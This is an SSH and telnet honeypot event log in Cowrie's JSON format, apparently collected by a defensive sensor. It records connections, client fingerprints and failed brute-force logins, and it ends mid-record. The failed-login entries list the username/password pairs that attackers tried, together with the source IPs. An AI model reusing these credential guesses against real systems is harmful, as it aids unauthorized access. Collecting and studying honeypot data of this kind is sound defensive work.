{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:00.062561Z","src_ip":"193.151.144.93","session":"e93ce8002166","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1qaz@WSX","message":"login attempt [test/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:00.574176Z","src_ip":"193.151.144.93","session":"e93ce8002166","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:01.743219Z","src_ip":"193.151.144.93","session":"e93ce8002166","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":44938,"dst_ip":"159.203.135.109","dst_port":23,"session":"840403a6c8f5","protocol":"telnet","message":"New connection: 69.4.83.194:44938 (159.203.135.109:23) [session: 840403a6c8f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:02.248537Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":44848,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cf1ddde73d7","protocol":"ssh","message":"New connection: 193.151.144.93:44848 (10.17.0.5:22) [session: 5cf1ddde73d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:05.278523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:05.283742Z","src_ip":"193.151.144.93","session":"5cf1ddde73d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:05.525419Z","src_ip":"193.151.144.93","session":"5cf1ddde73d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:06.953413Z","src_ip":"193.151.144.93","session":"5cf1ddde73d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:08.127892Z","src_ip":"193.151.144.93","session":"5cf1ddde73d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":47804,"dst_ip":"10.17.0.5","dst_port":22,"session":"bad05a0f2f50","protocol":"ssh","message":"New connection: 193.151.144.93:47804 (10.17.0.5:22) [session: bad05a0f2f50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:10.685886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:10.693958Z","src_ip":"193.151.144.93","session":"bad05a0f2f50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:10.859947Z","src_ip":"193.151.144.93","session":"bad05a0f2f50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:11.357006Z","src_ip":"193.151.144.93","session":"bad05a0f2f50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":37302,"dst_ip":"159.203.135.109","dst_port":22,"session":"901be394bfeb","protocol":"ssh","message":"New connection: 2.57.121.25:37302 (159.203.135.109:22) [session: 901be394bfeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:12.317404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:12.322263Z","src_ip":"2.57.121.25","session":"901be394bfeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:12.423401Z","src_ip":"2.57.121.25","session":"901be394bfeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:12.525796Z","src_ip":"193.151.144.93","session":"bad05a0f2f50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"130985","message":"login attempt [user/130985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:12.901029Z","src_ip":"2.57.121.25","session":"901be394bfeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13091992","message":"login attempt [user/13091992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:14.005361Z","src_ip":"2.57.121.25","session":"901be394bfeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"130891","message":"login attempt [user/130891] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:15.109736Z","src_ip":"2.57.121.25","session":"901be394bfeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":47816,"dst_ip":"10.17.0.5","dst_port":22,"session":"0302aac25076","protocol":"ssh","message":"New connection: 193.151.144.93:47816 (10.17.0.5:22) [session: 0302aac25076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:16.101634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:16.107328Z","src_ip":"193.151.144.93","session":"0302aac25076","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"130781","message":"login attempt [user/130781] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:16.213722Z","src_ip":"2.57.121.25","session":"901be394bfeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:16.282110Z","src_ip":"193.151.144.93","session":"0302aac25076","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:16.784976Z","src_ip":"193.151.144.93","session":"0302aac25076","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13071995","message":"login attempt [user/13071995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:17.317672Z","src_ip":"2.57.121.25","session":"901be394bfeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:18.421250Z","src_ip":"2.57.121.25","session":"901be394bfeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:18.814908Z","src_ip":"193.151.144.93","session":"0302aac25076","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":55320,"dst_ip":"10.17.0.5","dst_port":22,"session":"85c221dc5400","protocol":"ssh","message":"New connection: 193.151.144.93:55320 (10.17.0.5:22) [session: 85c221dc5400]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:21.518994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:21.524375Z","src_ip":"193.151.144.93","session":"85c221dc5400","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:21.688252Z","src_ip":"193.151.144.93","session":"85c221dc5400","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:22.170055Z","src_ip":"193.151.144.93","session":"85c221dc5400","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:23.333547Z","src_ip":"193.151.144.93","session":"85c221dc5400","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":55336,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e08770e9956","protocol":"ssh","message":"New connection: 193.151.144.93:55336 (10.17.0.5:22) [session: 8e08770e9956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:26.855443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:26.860560Z","src_ip":"193.151.144.93","session":"8e08770e9956","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:27.036979Z","src_ip":"193.151.144.93","session":"8e08770e9956","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:27.565654Z","src_ip":"193.151.144.93","session":"8e08770e9956","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:28.745041Z","src_ip":"193.151.144.93","session":"8e08770e9956","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":37220,"dst_ip":"10.17.0.5","dst_port":22,"session":"51991d686ea6","protocol":"ssh","message":"New connection: 193.151.144.93:37220 (10.17.0.5:22) [session: 51991d686ea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:32.128261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:32.133298Z","src_ip":"193.151.144.93","session":"51991d686ea6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":40180,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe97541e2b26","protocol":"ssh","message":"New connection: 103.122.221.179:40180 (159.203.135.109:22) [session: fe97541e2b26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:32.261938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:32.266942Z","src_ip":"103.122.221.179","session":"fe97541e2b26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:01:32.304539Z","src_ip":"193.151.144.93","session":"51991d686ea6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecds